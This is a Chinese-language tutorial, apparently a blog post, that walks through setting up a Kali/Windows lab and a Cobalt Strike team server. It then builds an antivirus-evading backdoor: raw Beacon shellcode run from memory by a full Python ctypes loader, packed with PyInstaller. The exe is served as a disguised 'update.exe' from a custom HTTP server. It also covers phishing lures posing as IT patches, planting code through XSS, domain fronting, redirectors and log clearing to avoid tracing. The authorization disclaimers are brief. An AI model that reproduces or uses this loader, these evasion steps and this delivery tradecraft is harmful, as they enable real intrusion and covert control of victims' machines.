1. 项目概述与核心价值最近在和一些刚入行的朋友交流时发现一个挺普遍的现象很多人对渗透测试的理解还停留在“用工具扫一下”的层面尤其是对于Cobalt Strike这类“神器”往往知其然不知其所以然更别提在实战环境中如何从零搭建、生成有效载荷并规避基础防御了。这让我想起自己早年踩过的坑——工具装不上、生成的“马”秒被杀、服务起不来折腾半天毫无头绪。所以今天我想抛开那些华而不实的理论纯粹从一个实战者的角度分享一套经过验证的、从环境搭建到载荷投递的完整流程。核心就是在一台实体机上安装Kali Linux和Windows双系统然后在Kali中部署Cobalt Strike团队服务器生成针对Windows的免杀可执行文件后门并利用Python快速搭建一个简易的HTTP服务用于分发和测试。这套流程的价值在于它的“闭环性”和“可复现性”。它模拟了一个贴近实战的“红队”基础作业环境攻击者你拥有一个可控的、隔离的Linux攻击机Kali而目标环境是Windows。你不仅需要产出武器免杀后门还要解决武器的投送问题HTTP服务。通过亲手走一遍这个闭环你能深刻理解渗透测试中“攻击链”的起点是如何构建的包括环境依赖、工具配置、载荷生成原理以及最容易被忽视的“临门一脚”——如何让目标机器执行你的载荷。这对于想从“脚本小子”迈向真正理解底层流程的初学者或者需要快速搭建一个轻量级测试环境的安全研究员来说都是一个非常扎实的练习。2. 环境准备Kali与Windows双系统部署详解工欲善其事必先利其器。一个稳定、隔离的实验环境是后续所有操作的基础。我强烈建议使用实体机进行双系统安装这比虚拟机更能模拟真实网络环境如独立的MAC地址、更直接的硬件访问也避免了虚拟机网络桥接的复杂性和性能损耗。2.1 系统镜像下载与启动盘制作首先你需要准备两个系统的安装镜像。对于Kali Linux请务必从官方网站下载最新版本这能确保你获得所有最新的工具和安全更新。Windows系统镜像则可以从官网获取。将这两个ISO文件下载到你的当前电脑上。接下来是制作启动盘。你需要一个容量不小于16GB的U盘。我推荐使用Ventoy这个工具它堪称神器。传统的启动盘制作工具一次只能做一个系统而Ventoy允许你直接把多个ISO文件拷贝到U盘里启动时会出现一个菜单让你选择要加载哪个ISO极其方便。具体操作是先在Windows或现有Linux系统上安装Ventoy然后将你的U盘插入用Ventoy工具将其格式化并安装Ventoy引导程序。完成后你只需要像拷贝普通文件一样把Kali和Windows的ISO镜像直接拖进U盘根目录即可。注意制作启动盘会清空U盘内所有数据请提前备份。确保你的电脑主板支持从U盘启动通常按F2、F12或Del键进入BIOS/UEFI设置。2.2 磁盘分区规划与安装顺序这是双系统安装中最关键也最容易出错的一步。假设你有一块全新的500GB硬盘我建议采用如下分区方案首先安装Windows。这是为了避免Windows的引导程序覆盖Linux的GRUB引导。在Windows安装过程中使用“自定义安装”然后对磁盘进行分区。建议划分C盘 (Windows系统盘) 100-150GBNTFS格式。D盘 (数据盘可选) 剩余空间的一部分比如200GBNTFS格式。这个盘可以在两个系统间共享数据。留出未分配空间至少预留100GB以上不要创建分区留给Kali Linux使用。这是关键然后安装Kali Linux。从Ventoy启动盘选择Kali ISO启动进入“图形化安装”或“文本安装”模式。在分区环节选择“手动分区”。根分区 ( / ) 用于安装系统和大部分软件建议80GB文件系统选择ext4。交换分区 (swap) 物理内存小于8GB时建议设置大小一般为内存的1-2倍例如8GB。现在内存大了也可以不设或用交换文件替代。家目录分区 ( /home ) 存放用户个人数据和部分工具配置可以使用剩余的所有空间ext4格式。将/home独立出来以后重装系统时个人数据可以保留。安装Kali时引导安装程序的位置通常是/dev/sda即你的整个磁盘一定要选对。安装程序会自动检测到已有的Windows系统并将它添加到GRUB启动菜单中。安装完成后重启你应该能看到一个GRUB菜单可以选择启动Kali Linux或者Windows。实操心得如果重启后直接进入Windows没有出现GRUB菜单说明引导被覆盖了。这时需要从Kali启动盘进入“试用”模式在终端里挂载你的Kali根分区然后使用chroot命令并执行update-grub和grub-install来修复引导。这个过程稍复杂但网上有大量教程。所以先装Windows再装Linux的顺序能极大避免这个麻烦。2.3 基础配置与依赖安装成功进入Kali Linux后第一件事是更新系统并安装一些必要的依赖。# 1. 更新软件源列表 sudo apt update # 2. 升级所有已安装的包这步可能耗时较长 sudo apt full-upgrade -y # 3. 安装一些常用工具和编译环境 sudo apt install -y git curl wget net-tools build-essential python3-pip openjdk-17-jdk # 4. 确认Java版本Cobalt Strike需要Java运行环境 java -version # 应该输出 openjdk 17 或类似信息这里特别强调Java环境。Cobalt Strike 4.x 版本通常需要Java 11或17。安装openjdk-17-jdk是一个比较稳妥的选择。如果你后续运行CS时提示Java版本问题可以尝试安装openjdk-11-jdk并通过update-alternatives命令切换默认Java版本。3. Cobalt Strike团队服务器部署与配置Cobalt Strike后文简称CS是一款商业的渗透测试软件功能强大。我们这里仅讨论其合法的、用于安全研究与授权测试的用途。你需要自行获取合法的授权和安装包。3.1 解压与初始启动假设你将CS的安装包cobaltstrike.tgz下载到了~/Downloads目录。# 进入家目录创建一个用于工作的文件夹 cd ~ mkdir redteam-tools cd redteam-tools # 解压CS安装包请替换为你的实际路径和文件名 tar -xzf ~/Downloads/cobaltstrike.tgz # 进入解压后的目录 cd cobaltstrike # 首次运行启动团队服务器 ./teamserver 你的Kali本机IP地址 一个强密码 # 例如./teamserver 192.168.1.105 MySuperSecretPassword123!参数解释你的Kali本机IP地址 在Kali终端中输入ip a命令查看类似eth0或wlan0的网卡找到inet后面的地址通常是192.168.x.x。不要使用127.0.0.1。一个强密码 这是客户端连接服务器时需要使用的密码请设置一个复杂且唯一的密码。执行命令后你会看到大量输出最后停留在[*] waiting for clients...表示团队服务器已成功启动并在50050端口监听。3.2 客户端连接与基础配置团队服务器运行在Kali上可以视为后台服务我们需要在图形界面下启动客户端进行连接和控制。保持团队服务器的终端窗口运行新开一个终端窗口。# 在新终端中进入CS目录 cd ~/redteam-tools/cobaltstrike # 启动客户端 ./cobaltstrike这会启动一个图形化界面。在连接对话框中Host: 填写你的Kali本机IP地址同上如192.168.1.105。Port: 默认50050。User: 可以任意填写如operator。Password: 填写你启动teamserver时设置的强密码。点击连接如果一切顺利你会进入CS的主界面。首次进入可能会提示你为本次会话设置一个昵称Malleable C2 Profile可以先跳过。注意事项防火墙 确保Kali的防火墙如ufw允许50050端口的入站连接。如果连接失败可以临时关闭防火墙测试sudo ufw disable测试完记得开启sudo ufw enable。IP地址变化 如果你的Kali是通过DHCP获取IP的重启后IP可能会变需要相应调整teamserver启动命令和客户端连接设置。建议在路由器中为Kali机器设置静态IP分配或者在Kali中配置静态IP。资源消耗teamserver运行会占用一定内存和CPU在配置较低的机器上请注意性能。4. 生成免杀可执行文件后门连接到CS后我们的核心目标是生成一个能被目标Windows系统执行且能绕过常见杀毒软件AV检测的Payload载荷。4.1 Payload生成原理与选择CS生成后门的本质是创建一个与团队服务器通信的“客户端”即Beacon。这个Beacon需要被包装成一个可执行文件.exe。杀毒软件主要通过静态特征文件哈希、字符串、导入表函数和行为特征运行时动作来检测恶意软件。免杀就是要规避这些特征。在CS中点击菜单栏的Attacks - Packages你会看到多种生成方式Windows Executable (S) 生成一个独立的exe文件。这是最基础的方式但特征明显极易被查杀。Windows Executable (Stageless) 同样是一个完整exe但通信方式略有不同。Windows Executable (DLL) 生成DLL文件需要通过其他方式如rundll32.exe加载。Windows Executable (Service) 生成一个Windows服务exe。对于初步免杀我们通常选择生成Windows Executable (S)然后通过后续处理来规避查杀。更高级的做法是使用“Artifact Kit”和“Resource Kit”自定义源码级特征但这需要一定的编程和逆向基础。今天我们聚焦于一种实用且有效的方法使用CS内置的编码器和外部加载器技术。4.2 使用编码器与Shellcode分离技术直接生成的exe特征明显。我们可以分两步走生成原始的Shellcode 这是载荷的核心指令是一段二进制代码。将Shellcode嵌入到一个“加载器”程序中 这个加载器本身可能是无害的或经过混淆的它的功能仅仅是在内存中分配空间将Shellcode解密并执行。步骤一在CS中生成Shellcode在CS客户端点击Attacks - Packages - Payload Generator。Output: 选择RAW格式。这会生成纯二进制文件。Listener: 你需要先创建一个监听器。点击CS底部的Listeners标签页点击Add类型选择Beacon HTTP设置好你的Kali IP和端口如80端口保存。然后在Payload Generator中选择这个监听器。点击Generate将生成的.bin文件保存到Kali的某个目录例如~/payloads/raw_shellcode.bin。步骤二使用Python加载器包装Shellcode这是实现简易免杀的关键。我们写一个Python脚本将Shellcode嵌入其中并利用Python的ctypes库在内存中执行。首先将Shellcode转换成Python的字节数组格式。# 在Kali上使用xxd命令转换shellcode cd ~/payloads xxd -i raw_shellcode.bin shellcode.txt打开shellcode.txt你会看到类似unsigned char raw_shellcode_bin[] { ... };的C语言数组定义。我们需要将其转换为Python的bytearray。接下来创建Python加载器脚本loader.py#!/usr/bin/env python3 import ctypes import sys # 将上面生成的数组内容粘贴到这里并转换为bytearray # 例如 shellcode bytearray([0xfc, 0x48, 0x83, ...]) shellcode bytearray([ 这里填入你的shellcode字节数组 ]) # 申请内存空间 memory ctypes.windll.kernel32.VirtualAlloc( ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), # MEM_COMMIT | MEM_RESERVE ctypes.c_int(0x40) # PAGE_EXECUTE_READWRITE ) # 将shellcode写入内存 buffer (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_int(memory), buffer, ctypes.c_int(len(shellcode)) ) # 创建线程执行shellcode thread ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(memory), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待线程结束 ctypes.windll.kernel32.WaitForSingleObject( ctypes.c_int(thread), ctypes.c_int(-1) )步骤三将Python脚本打包成Windows可执行文件目标Windows机器上不一定有Python环境所以我们需要将loader.py和Python解释器一起打包成一个独立的.exe文件。这里使用PyInstaller工具。首先在Kali上安装PyInstallerpip3 install pyinstaller。然后使用以下命令进行打包关键是要添加--noconsole和--onefile参数并指定图标可选来让程序看起来更“正常”。cd ~/payloads # 将loader.py和转换好的shellcode准备好后执行 pyinstaller --noconsole --onefile loader.py # 如果想添加图标--iconapp.ico执行完成后在dist/目录下你会找到loader.exe。这个文件就是我们的“免杀后门”初版。由于核心的Shellcode是加密的CS生成时已编码且执行逻辑由Python代码控制其静态特征与常见的恶意软件exe差异较大因此能绕过一部分基础杀软的静态检测。重要提醒与心得这只是基础免杀 这种方法主要对抗静态特征扫描。对于行为检测如监控VirtualAlloc、CreateThread等敏感API调用的高级杀软依然可能被拦截。实战中需要结合更多技术如API混淆、睡眠模拟、分离式加载等。杀软对抗是动态的 没有一劳永逸的免杀。今天有效的技术明天可能就被加入特征库。这个流程的意义在于理解“分离”和“包装”的思想。测试环境务必在完全隔离的虚拟机或授权测试环境中测试生成的exe可以使用 VirusTotal 这样的在线扫描平台初步检查检出率但注意上传的样本会被安全厂商收录分析。PyInstaller打包体积 打包后的exe体积会比较大因为内嵌了Python运行时这是这种方法的缺点之一。5. 使用Python搭建简易HTTP服务进行分发生成了后门程序下一步就是如何让目标机器下载并执行。在内部网络渗透测试中我们经常需要快速搭建一个临时的文件服务器。Python内置的HTTP模块非常适合这个场景。5.1 单行命令启动HTTP服务器Python 3提供了最简洁的方式。在你的Payload存放目录例如~/payloads/dist打开终端执行# 端口默认为8000 python3 -m http.server # 或者指定端口例如80端口需要root权限 sudo python3 -m http.server 80执行后服务器就启动了。在同一个局域网的Windows目标机器上打开浏览器访问http://你的Kali IP:8000/loader.exe即可下载文件。5.2 定制化HTTP服务器脚本默认的服务器功能简单目录列表一目了然不太“隐蔽”。我们可以写一个简单的Python脚本来增强控制力例如只提供特定文件下载、记录访问日志等。创建一个文件http_server.py#!/usr/bin/env python3 from http.server import HTTPServer, SimpleHTTPRequestHandler import logging import sys # 设置日志记录谁访问了服务器 logging.basicConfig(levellogging.INFO, format%(asctime)s - %(message)s) class CustomHandler(SimpleHTTPRequestHandler): def do_GET(self): # 只允许下载特定的文件例如‘update.exe’ if self.path /update.exe: self.path /loader.exe # 实际文件是loader.exe但对外叫update.exe logging.info(fFile downloaded by: {self.client_address[0]}) elif self.path /: # 访问根目录返回一个简单的假页面或者直接404 self.send_response(404) self.end_headers() self.wfile.write(b404 Not Found) return else: # 其他路径一律404 self.send_response(404) self.end_headers() return # 调用父类方法处理文件传输 super().do_GET() def log_message(self, format, *args): # 禁用默认的日志输出到stderr pass if __name__ __main__: port 8000 if len(sys.argv) 1: port int(sys.argv[1]) server_address (0.0.0.0, port) # 监听所有网络接口 httpd HTTPServer(server_address, CustomHandler) logging.info(fStarting HTTP server on port {port}...) try: httpd.serve_forever() except KeyboardInterrupt: logging.info(Server stopped.) httpd.server_close()运行这个脚本python3 http_server.py 8000。现在只有当访问者请求http://Kali IP:8000/update.exe时才会收到真正的loader.exe文件访问其他路径或根目录都会显示404。同时服务器的终端会记录下哪个IP地址下载了文件。5.3 结合社会工程学投递服务器搭好了如何让目标“自愿”下载并执行呢这就涉及到社会工程学SE。在授权测试中可以模拟钓鱼邮件、内部通知等方式。例如钓鱼邮件 伪造一封来自“IT支持”或“系统管理员”的邮件声称有一个紧急的“安全补丁”或“工资条查看程序”需要安装附件或链接就是你的http://内部IP/update.exe。内部网站挂马 如果发现内部系统有XSS或漏洞可以尝试插入一个自动下载并执行脚本的代码需严格在授权范围内。安全与合规警告 所有这些操作必须在获得明确书面授权的范围内进行。未经授权对他人的计算机系统实施渗透测试或投放恶意软件是违法行为。6. 实战联动从投递到上线现在我们有了武器免杀loader.exe有了投送渠道Python HTTP服务器也有了指挥中心Cobalt Strike团队服务器。让我们串联起整个流程进行一次闭环测试。环境就绪Kali Linux CS团队服务器 (./teamserver) 和客户端 (./cobaltstrike) 已连接并运行。HTTP监听器 (Beacon HTTP) 已创建。Windows目标机 一个干净的Windows虚拟机建议Win10或Win11安装有常见的杀毒软件如Windows Defender用于测试免杀效果。生成与部署在Kali上按照第4部分步骤生成最终的loader.exe或重命名为update.exe。将update.exe放入你的HTTP服务器脚本所在目录。运行定制化的HTTP服务器脚本python3 http_server.py 80需要sudo。投递与执行在Windows虚拟机中打开浏览器访问http://Kali IP/update.exe。文件应能正常下载。找到下载的update.exe直接双击运行。此时观察Windows Defender是否有拦截提示。如果我们的简易免杀生效它应该会安静地执行。观察与交互回到Kali上的Cobalt Strike客户端界面。如果一切顺利几秒到几十秒后你应该能在Beacons标签页下看到一个新的会话Session上线。它会显示目标机的IP、用户名、权限级别等信息。右键点击上线的Beacon你可以尝试一些基本命令如shell whoami来获取当前用户ls列出目录pwd查看当前路径等。这证明你的后门已经成功在目标系统上运行并与你的团队服务器建立了连接。清理与反思测试结束后务必在Windows虚拟机中清除恶意进程可以通过任务管理器结束相关进程或使用CS的kill命令。删除下载的update.exe文件。在CS中右键Beacon选择Remove删除会话。停止Kali上的HTTP服务器和CS团队服务器。7. 常见问题排查与进阶技巧在实际操作中你几乎一定会遇到各种问题。下面是一些常见故障的排查思路和进阶建议。7.1 连接类问题问题现象可能原因排查步骤CS客户端无法连接团队服务器1. 团队服务器未成功启动。2. 防火墙阻止了50050端口。3. IP地址错误。1. 检查./teamserver命令是否报错是否停留在[*] waiting for clients...。2. 在Kali运行sudo ufw status查看防火墙规则或临时禁用测试。3. 在Kali运行ip a确认IP并确保客户端填写正确。Beacon已执行但CS中不上线1. 监听器配置错误IP/端口。2. 网络不通目标机无法访问Kali IP。3. Payload生成时选错了监听器。1. 仔细核对CS中HTTP监听器的IP和端口是否与生成Payload时一致。2. 从Windows目标机ping Kali的IP测试连通性。3. 确认生成Shellcode时绑定的监听器名称。HTTP服务器无法访问1. Python服务器未启动或端口被占用。2. 防火墙阻止了HTTP端口如80/8000。3. 服务器绑定到了127.0.0.1。1. 检查python3 -m http.server是否运行netstat -tlnp查看端口监听状态。2. 检查防火墙规则。3. 确保服务器监听0.0.0.0所有接口而非127.0.0.1。7.2 免杀与执行类问题问题现象可能原因排查步骤与技巧生成的exe被Windows Defender秒杀静态特征被识别。1.更换编码器在CS生成Payload时尝试不同的编码器如x64/shikata_ga_nai多次迭代。2.加壳/混淆使用商业或开源的加壳工具对生成的exe进行二次处理注意可能引入不稳定因素。3.分离加载升级采用更高级的分离式加载如将Shellcode放在图片、文本等非可执行文件中由加载器远程下载或本地解密。PyInstaller打包的exe运行报错1. 目标系统缺少运行库如VC Redist。2. Python代码或ctypes调用不兼容目标系统架构x86 vs x64。1. 尝试在打包时添加--hidden-import参数包含所有依赖或用--collect-all参数。2.统一架构确保Kali上打包用的Python、PyInstaller以及目标Shellcode在CS生成时选择都是同一架构例如全部选择x64。在CS生成Payload时明确选择Windows Beacon (x64)。Beacon上线不稳定经常掉线1. 网络波动。2. 杀软的行为检测导致进程被挂起或终止。3. Beacon心跳配置问题。1. 检查网络环境。2. 在CS的监听器配置或Malleable C2 Profile中调整Beacon的“睡眠时间”sleep time和“抖动”jitter使其通信行为更像正常流量。3. 尝试使用“Stageless” Payload虽然体积大但连接可能更稳定。7.3 进阶技巧与安全加固使用Malleable C2 Profile 这是CS最强大的功能之一。你可以编写一个配置文件定义Beacon的通信方式HTTP头、URI、证书等使其流量模仿成正常的软件如Google、Cloudflare的流量极大增加网络层面检测的难度。域前置Domain Fronting 利用CDN服务如Azure、Cloudflare来隐藏真实的C2服务器IP。流量先指向CDN的合法域名再由CDN转发到你的真实服务器。这需要更复杂的配置和合适的CDN供应商。红队基础设施分散化 不要将所有服务团队服务器、HTTP分发、钓鱼站点放在同一台服务器或同一个IP上。使用多台VPS并通过重定向器Redirector进行流量转发即使某个节点被发现也不会直接暴露核心服务器。日志清理与反溯源 在CS中操作时注意使用clear命令清理日志。对于生成的Payload和服务器脚本在测试结束后及时从磁盘删除。考虑使用磁盘加密如LUKS来保护Kali系统盘。整个流程走下来你会发现从系统安装到工具配置再到载荷生成和投递每一步都有无数细节可以深挖每一个环节的疏忽都可能导致失败。这套“KaliWindows双系统Cobalt StrikePython HTTP服务”的组合就像为你搭建了一个最小化的红队实验室让你能够安全、可控地练习和理解攻击链的初始阶段。记住技术的提升源于不断的实践、踩坑和复盘。在合法的前提下多动手、多测试、多思考你才能更深刻地理解防御方的工作从而成为一名更全面的安全从业者。